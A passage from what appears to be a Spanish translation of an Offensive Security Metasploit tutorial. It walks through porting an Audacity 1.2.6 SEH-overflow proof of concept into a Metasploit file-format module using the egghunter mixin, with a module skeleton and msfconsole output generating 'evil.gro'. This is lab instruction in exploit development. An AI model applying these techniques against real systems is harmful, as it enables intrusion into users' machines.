Usando Egghunter Mixin
El MSF egghunter mixin es un maravilloso modulo que puede ser de gran utilidad en el desarrollo de exploit. Si no estas familiarizado con el concepto de egghunter, lee esto.
Una reciente vulnerabilidad en Audacity Audio Editor nos da una oportunidad para examinar este mixin en gran profundidad. En el modulo siguiente, exploraremos Audacity y crearemos un modulo exploit para eso, con un formato de archivo de Metasploit. No, nos enfocaremos en el metodo de explotacion en si o en la teoria detras de ella, pero nos sumergiremos directo a la practica del Egghunter mixin.
- Descarga e instala el software vulnerable en tu XP SP2 de caja.
http://www.offensive-security.com/archive/audacity-win-1.2.6.exe
http://www.offensive-security.com/archive/LADSPA_plugins-win-0.4.15.exe
2. Descarga y examina el original POC, tomado desde: http://milw0rm.com/exploits/7634
Portando el PoC
Vamos a portar este POC para un formato de archivo de MSF de modulo de exploit. Podemos usar un existente modulo para obtener un plantilla general. El exploit zinfaudioplayer221_pls.rb nos proporciona un buen comienzo.
Nuestro esqueleto del exploit debe ser similar a esto. Note que nuestro buffer se generara aqui:
def exploit
buff = Rex::Text.pattern_create(2000)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff)
end
Usamos Rex::Text.pattern_create(2000) para crear una unica cadena de 2000 bytes para seguir la ubicacion en el depurador.
Una vez que tenemos portado el POC, generamos el archivo de exploit y lo transferimos a nuestro Windows. Use el payload generic/debug_trap para empezar.
root@bt4:/pentest/exploits/framework3# ./msfconsole
=[ metasploit v3.3-testing [core:3.3 api:1.0]
+ -- --=[ 399 exploits - 246 payloads
+ -- --=[ 21 encoders - 8 nops
=[ 182 aux
msf exploit(audacity) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME evil.gro yes The file name.
OUTPUTPATH /var/www yes The location of the file.
Payload options (generic/debug_trap):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Audacity Universal 1.2
msf exploit(audacity) > exploit
[*] Creating 'evil.gro' file ...
[*] Generated output file /var/www/evil.gro
[*] Exploit completed, but no session was created.
msf exploit(audacity) >
Abriremos Audacity, adjuntamos un depurador e importamos el archivo gro MIDI.
Inmediatamente obtenemos una excepcion en Audacity, y las pausas del depurador:
Una mirada rapida a la cadena SEH demuestra que hemos sobrescrito un manejador de exepciones.
Tomamos la exepcion (shift + F9), y vemos lo siguiente:
- Original by www.offensive-security.com
- Traslated by Jhyx
0 comentarios:
Publicar un comentario